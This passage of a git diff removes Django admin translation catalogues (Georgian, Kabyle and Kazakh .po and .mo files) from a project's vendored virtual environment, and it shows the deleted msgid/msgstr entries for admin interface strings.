შეგინახიათ! გთხოვთ, " -"შენახვისთვის დააჭიროთ OK. მოქმედების ხელახლა გაშვება მოგიწევთ." - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"აგირჩევიათ მოქმედება, მაგრამ ცალკეულ ველებში ცვლილებები არ გაგიკეთებიათ! " -"სავარაუდოდ, ეძებთ ღილაკს \"Go\", და არა \"შენახვა\"" - -msgid "Now" -msgstr "ახლა" - -msgid "Midnight" -msgstr "შუაღამე" - -msgid "6 a.m." -msgstr "დილის 6 სთ" - -msgid "Noon" -msgstr "შუადღე" - -msgid "6 p.m." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "შენიშვნა: თქვენ ხართ %s საათით წინ სერვერის დროზე." -msgstr[1] "შენიშვნა: თქვენ ხართ %s საათით წინ სერვერის დროზე." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "შენიშვნა: თქვენ ხართ %s საათით უკან სერვერის დროზე." -msgstr[1] "შენიშვნა: თქვენ ხართ %s საათით უკან სერვერის დროზე." - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "ავირჩიოთ დრო" - -msgid "Cancel" -msgstr "უარი" - -msgid "Today" -msgstr "დღეს" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "გუშინ" - -msgid "Tomorrow" -msgstr "ხვალ" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "ვაჩვენოთ" - -msgid "Hide" -msgstr "დავმალოთ" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kab/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/kab/LC_MESSAGES/django.mo deleted file mode 100644 index d095721b..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kab/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kab/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/kab/LC_MESSAGES/django.po deleted file mode 100644 index b3d89582..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kab/LC_MESSAGES/django.po +++ /dev/null @@ -1,631 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-10-06 11:59+0000\n" -"Last-Translator: Muḥend Belqasem \n" -"Language-Team: Kabyle (http://www.transifex.com/django/django/language/" -"kab/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: kab\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "" - -msgid "Are you sure?" -msgstr "Tebɣiḍ?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "" - -msgid "Administration" -msgstr "Tadbelt" - -msgid "All" -msgstr "Akkw" - -msgid "Yes" -msgstr "Ih" - -msgid "No" -msgstr "Uhu" - -msgid "Unknown" -msgstr "Arussin" - -msgid "Any date" -msgstr "Yal azemz" - -msgid "Today" -msgstr "Ass-a" - -msgid "Past 7 days" -msgstr "Di 7 n wussan ineggura" - -msgid "This month" -msgstr "Aggur-agi" - -msgid "This year" -msgstr "Aseggass-agi" - -msgid "No date" -msgstr "Ulac azemz" - -msgid "Has date" -msgstr "Ɣur-s azemz" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "Tigawt:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "" - -msgid "Remove" -msgstr "Kkes" - -msgid "action time" -msgstr "akud n tigawt" - -msgid "user" -msgstr "aseqdac" - -msgid "content type" -msgstr "anaw n ugbur" - -msgid "object id" -msgstr "asulay n tɣawsa" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "" - -msgid "action flag" -msgstr "anay n tigawt" - -msgid "change message" -msgstr "" - -msgid "log entry" -msgstr "anekcum n uɣmis" - -msgid "log entries" -msgstr "inekcam n uɣmis" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "yettwarna." - -msgid "and" -msgstr "akked" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "" - -msgid "None" -msgstr "Ula yiwen" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -msgid "No action selected." -msgstr "" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Rnu %s" - -#, python-format -msgid "Change %s" -msgstr "" - -msgid "Database error" -msgstr "Agul n database" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "" - -#, python-format -msgid "Change history: %s" -msgstr "" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "" - -msgid "Django administration" -msgstr "" - -msgid "Site administration" -msgstr "Asmel n tedbelt" - -msgid "Log in" -msgstr "Kcem" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "Asebtar ulac-it" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Ad nesḥissef imi asebter i d-sutreḍ ulac-it." - -msgid "Home" -msgstr "Agejdan" - -msgid "Server error" -msgstr "Tuccḍa n uqeddac" - -msgid "Server error (500)" -msgstr "" - -msgid "Server Error (500)" -msgstr "" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "" - -msgid "Go" -msgstr "Ẓer" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "" - -msgid "Clear selection" -msgstr "" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "" - -msgid "Change password" -msgstr "Beddel awal n tbaḍnit" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -msgid "Welcome," -msgstr "Anṣuf," - -msgid "View site" -msgstr "Wali asmel" - -msgid "Documentation" -msgstr "Tasemlit" - -msgid "Log out" -msgstr "Asenser" - -#, python-format -msgid "Add %(name)s" -msgstr "" - -msgid "History" -msgstr "Amazray" - -msgid "View on site" -msgstr "Wali deg usmel" - -msgid "Filter" -msgstr "Tastayt" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "Mḥu" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "Tiɣawsiwin" - -msgid "Yes, I'm sure" -msgstr "" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Change" -msgstr "Beddel" - -msgid "Delete?" -msgstr "Kkes?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "" - -msgid "Summary" -msgstr "Agzul" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "Rnu" - -msgid "You don't have permission to edit anything." -msgstr "" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "Tigawin-iw" - -msgid "None available" -msgstr "" - -msgid "Unknown content" -msgstr "" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Date/time" -msgstr "Azemz/asrag" - -msgid "User" -msgstr "Amseqdac" - -msgid "Action" -msgstr "Tigawt" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "Sken akk" - -msgid "Save" -msgstr "Sekles" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "Anadi" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "" - -msgid "Save as new" -msgstr "Sekles d amaynut:" - -msgid "Save and add another" -msgstr "" - -msgid "Save and continue editing" -msgstr "" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "" - -msgid "Log in again" -msgstr "" - -msgid "Password change" -msgstr "Abeddel n wawal uffir" - -msgid "Your password was changed." -msgstr "" - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "" - -msgid "Password reset" -msgstr "Awennez n wawal uffir" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -msgid "Password reset confirmation" -msgstr "Asentem n uwennez n wawal uffir" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -msgid "New password:" -msgstr "Awal n tbaḍnit amaynut:" - -msgid "Confirm password:" -msgstr "Sentem awal uffir" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "" - -msgid "Your username, in case you've forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "" - -#, python-format -msgid "The %(site_name)s team" -msgstr "" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "Tansa e-mail :" - -msgid "Reset my password" -msgstr "Wennez awal-iw uffir" - -msgid "All dates" -msgstr "Izemzen merra" - -#, python-format -msgid "Select %s" -msgstr "Fren %s" - -#, python-format -msgid "Select %s to change" -msgstr "" - -msgid "Date:" -msgstr "Azemz:" - -msgid "Time:" -msgstr "Akud:" - -msgid "Lookup" -msgstr "Anadi" - -msgid "Currently:" -msgstr "Tura:" - -msgid "Change:" -msgstr "Beddel:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kab/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/kab/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 755849a2..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kab/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kab/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/kab/LC_MESSAGES/djangojs.po deleted file mode 100644 index 57f70c99..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kab/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,204 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-10-06 08:10+0000\n" -"Last-Translator: Muḥend Belqasem \n" -"Language-Team: Kabyle (http://www.transifex.com/django/django/language/" -"kab/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: kab\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Yella %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "Tastayt" - -msgid "Choose all" -msgstr "Fren akk" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "Fren" - -msgid "Remove" -msgstr "kkes" - -#, javascript-format -msgid "Chosen %s" -msgstr "Ifren %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "Kkes akk" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s si %(cnt)s yettwafren" -msgstr[1] "%(sel)s si %(cnt)s ttwafernen" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "Tura" - -msgid "Choose a Time" -msgstr "Fren akud:" - -msgid "Choose a time" -msgstr "Fren akud" - -msgid "Midnight" -msgstr "Ttnaṣfa n yiḍ" - -msgid "6 a.m." -msgstr "6 f.t." - -msgid "Noon" -msgstr "Ttnaṣfa n uzal" - -msgid "6 p.m." -msgstr "6 m.d." - -msgid "Cancel" -msgstr "Sefsex" - -msgid "Today" -msgstr "Ass-a" - -msgid "Choose a Date" -msgstr "Fren azemz" - -msgid "Yesterday" -msgstr "Iḍelli" - -msgid "Tomorrow" -msgstr "Azekka" - -msgid "January" -msgstr "Yennayer" - -msgid "February" -msgstr "Fuṛaṛ" - -msgid "March" -msgstr "Meɣres" - -msgid "April" -msgstr "Yebrir" - -msgid "May" -msgstr "Mayyu" - -msgid "June" -msgstr "Yunyu" - -msgid "July" -msgstr "Yulyu" - -msgid "August" -msgstr "Ɣuct" - -msgid "September" -msgstr "Ctamber" - -msgid "October" -msgstr "Tuber" - -msgid "November" -msgstr "Wamber" - -msgid "December" -msgstr "Dujamber" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "Sken" - -msgid "Hide" -msgstr "Ffer" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kk/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/kk/LC_MESSAGES/django.mo deleted file mode 100644 index abc3c54e..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kk/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kk/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/kk/LC_MESSAGES/django.po deleted file mode 100644 index 6d9625af..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kk/LC_MESSAGES/django.po +++ /dev/null @@ -1,695 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Baurzhan Muftakhidinov , 2015 -# Leo Trubach , 2017 -# Nurlan Rakhimzhanov , 2011 -# yun_man_ger , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-01-16 20:42+0100\n" -"PO-Revision-Date: 2019-01-18 00:36+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Kazakh (http://www.transifex.com/django/django/language/kk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: kk\n" -"Plural-Forms: nplurals=2; plural=(n!=1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Таңдалған %(count)d %(items)s элемент өшірілді." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s өшіру мүмкін емес" - -msgid "Are you sure?" -msgstr "Осыған сенімдісіз бе?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Таңдалған %(verbose_name_plural)s өшірілді" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "Барлығы" - -msgid "Yes" -msgstr "Иә" - -msgid "No" -msgstr "Жоқ" - -msgid "Unknown" -msgstr "Белгісіз" - -msgid "Any date" -msgstr "Кез келген күн" - -msgid "Today" -msgstr "Бүгін" - -msgid "Past 7 days" -msgstr "Өткен 7 күн" - -msgid "This month" -msgstr "Осы ай" - -msgid "This year" -msgstr "Осы жыл" - -msgid "No date" -msgstr "Күні жоқ" - -msgid "Has date" -msgstr "Күні бар" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "Әрекет:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Тағы басқа %(verbose_name)s кос" - -msgid "Remove" -msgstr "Өшіру" - -msgid "Addition" -msgstr "" - -msgid "Change" -msgstr "Өзгетру" - -msgid "Deletion" -msgstr "" - -msgid "action time" -msgstr "әрекет уақыты" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "объекттің id-i" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "объекттің repr-i" - -msgid "action flag" -msgstr "әрекет белгісі" - -msgid "change message" -msgstr "хабарламаны өзгерту" - -msgid "log entry" -msgstr "Жорнал жазуы" - -msgid "log entries" -msgstr "Жорнал жазулары" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "және" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "Ешқандай толтырма өзгермеді." - -msgid "None" -msgstr "Ешнәрсе" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Бірнәрсені өзгерту үшін бірінші оларды таңдау керек. Ешнәрсе өзгертілмеді." - -msgid "No action selected." -msgstr "Ешқандай әрекет таңдалмады." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "%(name)s \"%(obj)s\" сәтті өшірілді." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "%s қосу" - -#, python-format -msgid "Change %s" -msgstr "%s өзгету" - -#, python-format -msgid "View %s" -msgstr "" - -msgid "Database error" -msgstr "Мәліметтер базасының қатесі" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" -"one: %(count)s %(name)s өзгертілді.\n" -"\n" -"other: %(count)s %(name)s таңдалғандарының барі өзгертілді." -msgstr[1] "" -"one: %(count)s %(name)s өзгертілді.\n" -"\n" -"other: %(count)s %(name)s таңдалғандарының барі өзгертілді." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" -"one: %(total_count)s таңдалды\n" -"\n" -"other: Барлығы %(total_count)s таңдалды" -msgstr[1] "" -"one: %(total_count)s таңдалды\n" -"\n" -"other: Барлығы %(total_count)s таңдалды" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 of %(cnt)s-ден 0 таңдалды" - -#, python-format -msgid "Change history: %s" -msgstr "Өзгерес тарихы: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "Даңғо сайтының әкімі" - -msgid "Django administration" -msgstr "Даңғо әкімшілігі" - -msgid "Site administration" -msgstr "Сайт әкімшілігі" - -msgid "Log in" -msgstr "Кіру" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "Бет табылмады" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Кешірім сұраймыз, сіздің сұраған бетіңіз табылмады." - -msgid "Home" -msgstr "Негізгі" - -msgid "Server error" -msgstr "Сервердің қатесі" - -msgid "Server error (500)" -msgstr "Сервердің қатесі (500)" - -msgid "Server Error (500)" -msgstr "Сервердің қатесі (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "Таңдалған әрәкетті іске қосу" - -msgid "Go" -msgstr "Алға" - -msgid "Click here to select the objects across all pages" -msgstr "Осы беттегі барлық объекттерді таңдау үшін осы жерді шертіңіз" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Осылардың %(total_count)s %(module_name)s барлығын таңдау" - -msgid "Clear selection" -msgstr "Белгілерді өшіру" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"Алдымен, пайдаланушының атын және құпия сөзді енгізіңіз. Содан соң, тағы " -"басқа пайдаланушы параметрлерін енгізе аласыз." - -msgid "Enter a username and password." -msgstr "Пайдаланушының атын және құпия сөзді енгізіңіз." - -msgid "Change password" -msgstr "Құпия сөзді өзгерту" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"%(username)s пайдаланушы үшін жаңа құпия сөзді енгізіңіз." - -msgid "Welcome," -msgstr "Қош келдіңіз," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "Құжаттама" - -msgid "Log out" -msgstr "Шығу" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s қосу" - -msgid "History" -msgstr "Тарих" - -msgid "View on site" -msgstr "Сайтта көру" - -msgid "Filter" -msgstr "Сүзгіз" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "Өшіру" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' объектты өшіруы байланысты объекттерін " -"өшіруді қажет етеді, бырақ сізде осындай объектерді өшіру рұқсаты жоқ:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' объектті өшіру осындай байлансты " -"объекттерды өшіруді қажет етеді:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"%(object_name)s \"%(escaped_object)s\" объекттерді өшіруге сенімдісіз бе? " -"Бұл байланысты элементтер де өшіріледі:" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "Иә, сенімдімін" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "Бірнеше объекттерді өшіру" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"%(objects_name)s объектты өшіруы байланысты объекттерін өшіруді қажет етеді, " -"бырақ сізде осындай объектерді өшіру рұқсаты жоқ:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Таңдалған %(objects_name)s-ді(ы) өшіру, онымен байланыстағы қорғалған " -"объектілердің барлығын жояды:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Таңдаған %(objects_name)s объектіңізді өшіруге сенімдісіз бе? Себебі, " -"таңдағын объектіліріңіз және онымен байланыстағы барлық элементтер жойылады:" - -msgid "View" -msgstr "" - -msgid "Delete?" -msgstr "Өшіру?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s " - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the 